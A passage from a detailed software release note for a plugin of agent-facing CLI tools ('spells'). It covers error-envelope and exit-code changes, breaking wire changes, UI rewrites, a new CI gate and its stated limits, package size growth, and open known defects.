*_HEARTBEAT_MS=1e9parsed to 1 andproduced 767 keepalive comments per second into every SSE client. The floor
landed in the kit, where four spells derive their beat.
Failures an agent can route on
Every failure on eight of the nine CLIs is one JSON envelope on stderr with
stdout empty:
under the taxonomy usage 2 · internal 1 · not_found 5 · conflict 6. Branch
on
kind, never on the message text. A refusing daemon's own body is carriedverbatim under
error.server. grapevine is partly converted — the four parserrejections an agent meets first, plus its lifecycle refusals, speak the
envelope; older prose errors predate the contract.
choices— the field an agent actually routes on — is now published, and it isderived rather than typed. It was absent from five of the eight spells that
existed then (scriptorium
came later and was born with it) while
hint, prose for a human, was nearly everywhere; nineteen rejections gained it.The sets come from the object the parser accepts (
CLI_OPTIONSlifted out ofevery
parseArgscall), not from a hand-written list, because a list thatdrifts from the dispatch table is worse than none — an agent would route on it.
astrolabe's unknown-verb rejection now answers with all fourteen verbs. Two
spells had each grown a hand-kept flag roster inside a message string; both
were moved, not copied. Guarded by a three-arm census — no accepted set spelled
as prose, the root and per-verb sets driven through the shipped launcher, and
sites-plus-choices per spell at exact equality.
The rule was narrowed five times from evidence, and the narrowings are the part
worth knowing: a closed set qualifies only if it is in hand at the raise (a
refusal relayed from a daemon carries
serverinstead, because a CLI-side copyis exactly the drift the rule forbids); a two-member floor, since
choices:["--path"]is not a choice; command tokens only, since an env var nameis a choice nobody can type; enumerated positionals qualify and free-text ones
never.
⚠ Read this if you drive a spell from a script
"No session" moved from exit 2 to exit 5 on three more spells — glamour,
imago and bounty — joining magpie and mind-mapper, which had already moved. A
script branching on
exit == 2for that case is now wrong on five.bounty's cooperative refusals moved off exit 1, which under the house
taxonomy means the spell broke. Before: prose on stderr, legacy
{"ok":false,"applied":false,…}on stdout, exit 1. Now: stdout empty, oneenvelope on stderr,
applied:falseinsideerror.server.addwith a duplicate--idconflictclaima task someone else ownsconflictblockthat would form a cycleconflictblock --on <ghost>,update/remove/unblocka ghost idnot_foundinit/closerefused by the daemonA refusal arriving with no
kinddegrades toconflict— the genus — never tointernal. One deliberate exception:bounty open's attach refusal keepsexit 2 and keeps printing the live board's discovery JSON (
url,port,session_id,restoreSkipped) on stdout. It is the one refusal carrying adata payload; recognise it by
restoreSkipped.requested.grapevine: a read verb no longer creates a channel.
pull,read,wait,triageand a baretopic <name>now 404 on a channel that does not exist.They used to silently rebuild a channel a human had just closed — empty,
file-less, back in
list, answering{"ok":true,"messages":[]}forever with noway to discover why.
open,tail,watch,send,announce,markandtopic <name> <text>still create: only an act declaring intent does. The guardis in the daemon, not just the CLI, because the read routes resurrected on their
own. Breaking if you read before you open, and it fails loudly the first time.
grapevine's
SKILL.mdcarries this as its V2.2 banner. Also:pullon amissing channel 2 → 5,
sendto an archived channel 2 → 6. ⚠ This is in thebreaking list because it breaks scripts, not because anything got worse — the
old behaviour silently resurrected channels a human had deliberately closed and
answered
{"ok":true}about them forever.mind-mapper's event cursor field is
id, notseq— on the wire and inevery JSONL line
tailwrites into an agent's pipe. Its keepalive comment is: hb, not: keepalive. Its exit codes moved too (needs-project and the 409family 2 → 6, unknown entity → 5).
--timeout 0reversed meaning. On magpie it used to exit 124"timeout"onthe first tick even with a live tail attached; on bounty it closed an unwatched
board on the first tick. Both were accidents of a
>=comparison. Now anon-positive
--timeoutmeans the daemon never idle-closes. And within itsdocumented range on magpie,
--timeoutchanged meaning: it used to be "thelongest this daemon may sit idle while connected" and is now "linger this long
after the last subscriber leaves" (
shouldIdleClosereturns false whilesubscriberCount > 0). An agent holding a tail on a quiet magpie session usedto be killed at the 30-minute floor. ⛔ Neither magpie's nor bounty's
SKILL.mddocuments what--timeout 0means, before or after — a flag whosemeaning was reversed is undocumented in both spells that changed. ⚠ And note that
"never idle-closes" is the INTENDED reading of an explicit non-positive
--timeout, while the open A9 defect below reaches the same outcome by accident:a non-numeric
--timeoutparses toNaNand is neither refused nor reported.The defect there is the missing usage error, not the lingering.
Other wire changes, named rather than smuggled:
: connectedcomment on astrolabe, magpie,glamour and bounty, so a quiet stream flushes headers and leaves no
fetch()unresolved. A client reading line 0 rather than the first frame breaks;
every house tail client drops
:lines.connected/disconnectedpresence frames left the replay log.They are live-only and no longer carry an
id. A tail at--since 0usedto replay the whole browser-presence history, each frame advancing the agent's
cursor.
proposal.send/proposal.dismissput the proposal id in theframe's
idfield — which is the tail cursor — soev.id > sincecompared astring and those frames were never replayed at all. The cursor is the
cursor now and the proposal rides beside it as
proposalId, on the wire,in the shipped types and in the SKILL.
on grapevine, magpie and glamour, where it previously exited 0 — a success
exit for a command that did nothing, which is the shape an agent cannot
detect. Breaking for a script that relied on it; a correctness fix otherwise.
help/--helpremains the help path at exit 0.are scoped to their verb. On grapevine all 26 flags previously parsed on
every verb. A recognised flag on the wrong verb is refused as MISPLACED with
that verb's flags as
choices..htmlis served astext/html; charset=utf-8.--version/-V/versionanswers on the six spells whose CLIs werebrought up to the acc baseline — astrolabe, glamour, grapevine, magpie,
mind-mapper, scriptorium. It does not answer on bounty, imago or digestify.
(Not "the spells acc has looked at" — bounty was graded, and failed; see the
acc limit below.)
One human affordance was removed. grapevine's watch surface no longer has a
per-row 🗑 button; closing a channel is reached through a right-click context
menu on the rail row, alongside Edit topic and Archive / Unarchive. Deliberate —
the menu is the one path — but old muscle memory will not find the button.
Three surfaces were rewritten, and look different
grapevine's watch surface (was ~1,000 lines of hand-written HTML), bounty's
board (1,003) and digestify's review page (1,505) are now component-oriented
React surfaces on the house token layer. There is no CDN surface left anywhere
in the tree.
Ruled behaviour-faithful, restyled (Cole, 2026-09-06): same routes, same
frames, same features, same failure handling. Each was verified against a
behaviour inventory extracted from the old page — 72 rows for bounty's board,
115 for digestify's review page — then driven by the author and again by an
independent agent at the keyboard. ⚠ grapevine's rewrite predates the inventory
practice and was driven without one, so its faithfulness rests on the two
drives alone. They are not pixel-identical and were never meant to be.
digestify's three themes —
digestify, cthulhu, classic — all survive tokenized, each asserted by name.
bounty's board stopped being two implementations of itself. Its predicates —
cardPassesFilter,cardOverdue,ownersOverWip,expectedMinutes— weretested in
server.tsand hand-mirrored in Alpine with nothing guarding thepair. That drift is how
restoreFailedonce shipped emitted-at-five-sites andrendered-at-zero for a full release. One implementation now, imported by the
daemon and the surface alike.
New human-facing capability alongside it: grapevine's watch surface does to a
channel what the CLI does — create, edit a topic inline or from the menu,
archive and unarchive, hide archived channels behind a switch. Typing an
archived name into Create gets the daemon's 409 explained, with Unarchive
offered. Topic editing is disabled with a stated reason rather than silently
inert. And grapevine tells you when it made the channel — a
tailthatcreated one says so on the
subscribedevent and in the CLI's grounding line,so tailing a mistyped name is visible instead of looking like a quiet channel.
Archive/unarchive append a persisted
kind:"status"frame thatpullreplaysand
triageskips.bounty tells you when a restore failed.
restoreFailed({path, reason})is on the
openenvelope and the daemon boot log, and is a different situationfrom
restoreSkipped: skipped means never attempted (fix your command), failedmeans attempted and the snapshot could not be read (the board comes up empty and
your snapshot is the damaged thing).
grapevine schemaandglamour schemaemit each CLI's own interfacedescription, generated from the same registry that drives dispatch, so they
cannot drift from the parser. scriptorium ships one too.
If you extend this repo
There is a shared spine.
src/kit/wire/holdstailEvents,errors,serveDist,eventLog,sse,housekeeping,discovery,heartbeat; plussrc/kit/{lib,ui,theme}. Six of the eight wire concerns now have oneimplementation instead of six or seven. The retired defects had stood in five to
seven copies each: no idle watchdog; a backoff that never grew on a body-less
response; spec-legal
data:frames dropped without advancing the cursor; acursor that assigned rather than taking a max; and a backoff reset placed after
a successful open, so a connection that opened and yielded nothing reset it —
a constant-interval reconnect storm by another door, measured at a flat 41 ms.
The kit was widened twice and refused three times, and the refusals are the
precedent. glamour needed the error contract to carry a daemon's response body
and an SSE client entry that could be spoken to, not just closed — both widened,
because a module extracted from two consumers encodes only what those two agree
on. Then imago, bounty and digestify needed nothing widened, and glamour's
client.sendcovered both imago's and bounty's cases at zero cost. grapevine isthe refusal:
eventLog(one capped in-memory array against N durable per-channellogs),
sse(aSet<{close,send}>against aMapwhose alias/human/lurk sixroutes read) and half of
housekeepingare REJECT-STRUCTURAL there. The kitwas not widened for it; each refusal is written both in a journal row and in the
kit module's own header.
Two playbooks, and they are the operative documents:
docs/playbooks/porting-a-spell-playbook.md— how to move an existing spellonto the build. Written from glamour's failures, then amended at every
subsequent port with the places it was not enough (seven gaps at imago, six at
bounty, six at digestify).
docs/playbooks/scaffolding-a-spell-playbook.md— how a spell starts onthe build. This closed a real defect:
ward's "Inscribing a new spell"checklist said a spell folder is
SKILL.md+scripts/+assets/— nosrc/, no launcher, nodist/, no build. A spell created by following our ownchecklist would have been born source-shipped. Every rule in it is grounded in
a count against the existing roster; seven rules could not be grounded and
are marked UNVALIDATED, awaiting their first real spell. A scaffold script is
ruled NOT YET, with its condition named.
docs/architecture/spell-backend-architecture.md(§1–§7) — the shape eachspell has. Its companion is
docs/architecture/house-conformance-register.md— where the spells do notyet agree, each row recorded at the moment it was chosen. Read the open count
off the register, never off a release note.
Two traps for anyone adding to the kit:
Importing only the component ships it with none of its utilities, silently,
and everything stays green.
because
base.cssputs the whole kit tree in front of Tailwind. A sentence ina kit module's header emitted
.grow{flex-grow:1}into four unrelated spells'stylesheets. The kit-prose ward exists for this.
What is now checked, and four things that check does not mean
The repo gains its first CI check, named
gate, on every pull request:build, lint, full test suite, then
dist-check— a rebuild-and-diff proving eachcommitted
dist/matches its own committed source.bun teston this tree is2,524 pass / 0 fail, 7,832
expect()calls across 191 files (measured at thedeveloptip, 2026-09-14; the smaller figures inside individual merge commitswere true at their own commits). ⚠ Read that number with the second limit
below attached: none of it asserts that a board works. The count is what a
reader remembers; the disclaimer is the part that matters.
The rebuild arm exists because a stale build artifact produces a working
board — the daemon serves the previous build — so it is invisible to tests, to
the linter, to a browser drive and to a reviewer. One had already slipped onto
developand was caught by hand.⛔ Its first two runs on this very PR both failed, and that is the argument for it
Both failures were invisible to every local check by construction, which is
the case for CI that no amount of discipline substitutes for.
Run 1 — the gate had been green on one laptop.
scripts/instruments/type-sentinel-probe.tsimported TypeScript through anabsolute path into one checkout, so
tsc --noEmitwas clean there and TS2307everywhere else. The file had declared its machine-binding as deliberate — a
corpse kept for its verdict that "nobody should be running in CI or on a fresh
clone" — and that was true when written. Four days later the typecheck gate was
ruled in and
scripts/became a measured area, so something started reading it."This file is exempt because nobody runs it" stops being true the moment
something starts reading it, and nothing tells you when that happens. Fixed by
making the paths portable, not by adding a
tsconfigexclude — an exclude isprecisely what the coverage arm exists to defeat.
Run 2 — a committed artifact built against a dependency tree that existed on
no other machine. A gitignored
src/scriptorium/node_modules/held@base-ui/react@1.8.0and shadowed the root install's 1.6.0 for scriptorium'sbuild alone: 105 extra modules, 185,688 extra bytes, a different content hash.
Nothing declared 1.8.0 — not the root manifest, not the spell's own. So
scriptorium had silently been on 1.8 while the other five
@base-uiconsumersand the kit were on 1.6, a version split nobody chose and no reviewer could
see, and
dist/being committed meant the phantom build was reviewed andmerged. Diagnosed by reproducing CI — clone, frozen install, rebuild, diff the
bundles' module banners — after four wrong theories. Rebuilt against the declared
1.6.0; the 1.8 bump is filed as its own pass, because a root bump moves six
spells' surfaces.
⚠ Read the second one against the first limit below. A check that catches a
phantom-dependency build and a one-machine green, on its first two outings, is
not yet allowed to block a merge.
The instruments also gained a scope rule that closed a real hole:
correctness/noUndeclaredVariablesinbiome.json, withBundeclared as aglobal. It is
errorby default and not inrecommended, which is why itwas off. Driven end to end: an undefined identifier on an uncovered path gave
bun run buildexit 0,bun run checkexit 0 and the whole suite passing, whileshipping a latent
ReferenceErrorinto the committed artifact that reaches acaller as
{"kind":"internal","exit_code":1}.tscwas deliberately notadded — 584 pre-existing errors, and a typecheck gate is a standing ruling from
spell-hardening sprint 05 that this does not re-litigate.
Four limits, stated plainly:
gatehas to be marked required in GitHub's settings, and no agent can dothat. Until a human does, a red
gatedoes not block a merge. Filed:docs/backlog/2026-08-31-the-pr-check-must-be-marked-required.md. ⚠ Theworkflow file's own header asserts "a ruleset on
mainrequires a statuscheck named
gate" — nothing in this tree can confirm it. Treat thatsentence as an instruction to a human, not a statement of fact.
dist/is thefaithful build of its committed source; they say nothing about whether that
source is correct. The install simulation that proved the ported spells run is
a manual recipe run by hand, not a script in the gate.
acc— notpackage.json, not the workflow, not thepre-commit hook. Five spells carry an
acc.config.json— astrolabe,glamour, magpie, mind-mapper, scriptorium — and a sixth, grapevine, has a
recorded CONFORMANT (L0) verdict while shipping no config. Every one of those
verdicts is a point-in-time run by a human, not a standing property.
glamour's is the only one re-run after its port. That ordering was an
explicit acceptance criterion and is the reason glamour's result means
anything — which is the same fact read the other way: five of the six
verdicts predate the change most likely to have broken them. bounty is on
record NOT CONFORMANT (3 core violated, 2026-08-24) and took the most
invasive contract change of this cycle with no re-grade. imago and digestify
are ungraded. And
accisgit+github.com/ichabodcole/agent-cli-conformance— the same author's repo,not third-party validation. (A cold reader took it as third-party, unprompted.)
files,
bun run checkreads 591, deliberately skips 11 as docs, and isblind to 29 — 2,342 lines (largest: three spells'
styles.css). Thosethree numbers add up on purpose and the instrument prints all of them
(
scripts/instruments/gate-blind-set.ts); an earlier draft of this noteomitted the 11, which makes a careful reader compute 40 and find a
contradiction that is not there. The roster-drift ward asserts over 8 of the
9 spell folders, mind-mapper excluded by ruling.
Five instrument defects were found by mutation rather than by reading. The
two worth a release note are here; the other three are in the convergence's
decision log. One undercut a ruling that closed a project:
daemon-lifecycle-ward'sidleTimeoutclause was satisfied by a comment —delete glamour's real setting and the ward stayed green, shielded by prose eight
lines away that spells the same word with a colon. Both enumerators now produce
comment-stripped code on the row, so a fourth clause cannot be written against
prose. Separately,
spawn-path-wardhad lost real coverage the convergenceitself caused: sharing
serveFromDistmoved every adopter'sdist/reads behinda parameter, so 32 in-kit reads across 8 emitted artifacts fell out of every
coverage row and six of eight named
dist/nowhere. The call site is the pinnow. A backstop computed from the same predicate it backstops is not a
backstop.
The download question, and the number moved again
The shipped plugin goes from 5.59 MiB to 19.98 MiB (5,863,592 →
20,954,548 bytes, summing git blob sizes under
plugins/spellbook). Trackedfiles fall from 251 to 110.
v2.2.0That is React, Tailwind and a bundled backend inside each spell's chunks, which
is what makes a dependency-free destination possible. ⚠ But not all of it is
the capability, and the aphorism that used to close this sentence was wrong:
83–86% of every backend artifact is an inline sourcemap, and a sourcemap is
not what makes a spell run anywhere. It is a deliberate choice (lever 2 below)
and the largest single removable share of the increase.
Stylesheets are a separate framing:
v2.2.0shipped exactly one compiled stylesheet (mind-mapper's, 165,575 B); this
ships nine, because eight more spells now have one. Scoping each spell's
Tailwind content scan to its own surface — a bare
@import "tailwindcss"rootsit at the build's working directory, so every spell's stylesheet was compiled out
of every other spell's prose — cut mind-mapper's from 165,575 to ~67,000 B
(−59%) with zero classes lost.
Cole has ruled: deferred, measured (register D7, 2026-09-09). Three
independent levers, none taken here. (1)
--minifythe surfaces: 13.21 → 7.25MiB raw, but git stores blobs compressed, so a clone pays the gzip column —
~21%. ⛔ Before switching it on, calibrate every instrument that reads emitted
artifacts as text (spawn-path ward anchor spellings, launcher-pairing ward
import specifiers,
exit-site-inventory) against a minified bundle; identifierrenaming is exactly the input those wards have never seen. (2) Drop the
backends' inline sourcemaps: 83–86% of every backend artifact, 1.78 MiB across
eleven files — but
sourcemap:"inline"is Cole's ruling, made knowing itembeds the complete original TypeScript. That is a decision about whether a
shipped backend carries its source, not a size fix. (3) CSS is negligible.
Nothing lets a consumer take a subset — the marketplace clones the whole
plugins/spellbooksubtree, all-or-nothing by construction(
docs/backlog/2026-09-02-what-a-consumer-receives-per-spell.md).What this deliberately does not reach
The spells still do not fully agree with each other, and the inventory of
where is
docs/architecture/house-conformance-register.md. Read the opencount off the register rather than from here — its last recount was
2026-09-10, before scriptorium landed, so any number quoted here would be stale
on arrival. Scriptorium has never been reconciled against a
single row, and the register's header now says so. It is a living
architecture document precisely so these are decisions rather than omissions. The
ones a caller can feel:
no acc grade (A5). Nothing in the gate would say if it regressed.
imago infoagainst a dead daemon exits 0 with a stale pointer on stdout —a third failure shape nobody named (A8).
astrolabe closecan exit 0 while carrying an error envelope(
{ok:true, applied:false, error:"no daemon running"}— mis-shaped on bothaxes), because it is the one command calling
postCmddirectly and bypassingthe
die-on-error discipline. No test asserts either the current behaviouror the corrected one (A12).
--timeoutparses toNaNon magpie and bounty, so thedaemon never idle-closes — silently, with no refusal (A9). Numeric flags are
not validated at the parse generally:
--port notanumberbecomesNaN, thebind refuses it, and you get exit 6
conflictfor a usage error (C6).join.tsreuses exit 2 for two things — usage, andended-by-error — distinguished by channel rather than by number (A3).
during imago's 150 ms grace can still find the session (A6).
--.On bounty this is worse than silent: a
--session-keyplaced after--iseaten and the write lands on whatever board the ambient environment resolves
to. Correct form:
bounty add --session-key K -- "text".The daemon-restart gap is narrowed, not closed (B1/B2). Replay triggers only
when the tail's cursor is strictly greater than the daemon's, so a tail that
has seen exactly
readyreconnects at equality and is connected-and-silent —the ordinary state of a quiet board. It self-heals on the first real event, and
developwas silent after every restart, so this is strictly better. Theone-line
>=is recorded as the wrong repair. Four of sixcreateEventLogadopters stamp no epoch, each by ruling, so the client's
epochOf/onEpochChangehook is inert for them; grapevine's refusal is deliberate —its ids are recovered from the durable
.jsonland survive a restart, so anepoch plus
tailEventswould replay every message of every tailed channel intoan agent's pipe.
The most severe known defect is unchanged and still unfixed.
bounty update --stdindestroys the task's title, at{"ok":true}, withvaluesIgnoredreporting
null— a false negative on a destroyed field. The precise framingmatters, because the loose one ("it writes notes to the title") was withdrawn on
the backlog item itself:
--stdinreplaces the verb's positional argument, andthat rule holds everywhere.
update's only positional is<id>, so--stdinhas no natural referent and resolves to
--title, overriding an explicit--titlesilently. The code is untouched; bounty'sSKILL.mdhas carried aprominent warning since 2026-08-11. Use
--notes.Also open and unfixed:
bounty tailagainst a target it cannot resolve retriesforever at exit 0 while looking alive (GitHub
#98— an inbound issue;another team is waiting on it). The port made this sharper rather than fixing it:
the shared tail client now offers the distinction —
onUnresolvedreceives{everResolved, everConnected}and may return"stop"— and glamour, imago andmagpie all use it. bounty is the only consumer that ignores it and always
returns
"retry"(A11).The sprint scoped to drain this queue — spell-hardening 06, "Filed is not
fixed" — is still a scaffold with no branch cut. An earlier merge commit said
the gate work and the fix queue would "ship together". That has not held for a
month (sprint 05 merged 2026-08-10), and this release ships without the
fixes — a decision, not an oversight, and the cost of continuing to wait has
grown by an order of magnitude since the promise was made.
mind-mapper is not a released spell. It ships files and a
dist/(3.22 MiB,about a sixth of the plugin) but has no
SKILL.mdand is absent from everylisting on purpose — it is unfinished, and Cole ruled that a spell which has not
coalesced should not claim a roster slot. Nothing here changes that.
Scriptorium's own named absences are in
docs/architecture/spells/scriptorium.md§9: no single shared undo timeline forcommitted acts (three timelines exist; E28's is not among them), relative images
do not load, raw and rendered panes do not scroll together, batch notes and
saved prompts deferred pending real use. (Its ninth entry — the WebSocket-origin
fix not yet carried to the other eight daemons — is closed in this release; see
the section near the top.)
Four stale documents were found by writing this note and are fixed in it
(
30712847), which is the whole reason the reconstruction is done by an agentthat did not do the work. The roster README a consumer reads still said "no
cross-spell imports, no build step" over a pre-convergence anatomy — the fourth
document in a class three others were repaired in on 2026-09-10. PROJECT-SUMMARY
undercounted the roster on a line that literally read "this line has now gone
stale three times … so do not hand-keep it"; the count is gone rather than
corrected. The conformance register's "eight spells" meant a different eight from
the README's. And scriptorium's architecture doc filed the origin hole under its
own absences, where it read as though scriptorium shipped it.
⚠ What that says about this note. Every number here was re-measured at the
developtip rather than inherited, because the previous release draft waswritten the same careful way and then went 186 commits stale, asserting
things that had become false in the direction of understating what shipped. The
register calls this D4: nothing connects the tree to a release note, so a note is
a snapshot with no mechanism that reddens when the tree moves past it. It has now
happened three times. Re-measure before quoting anything above.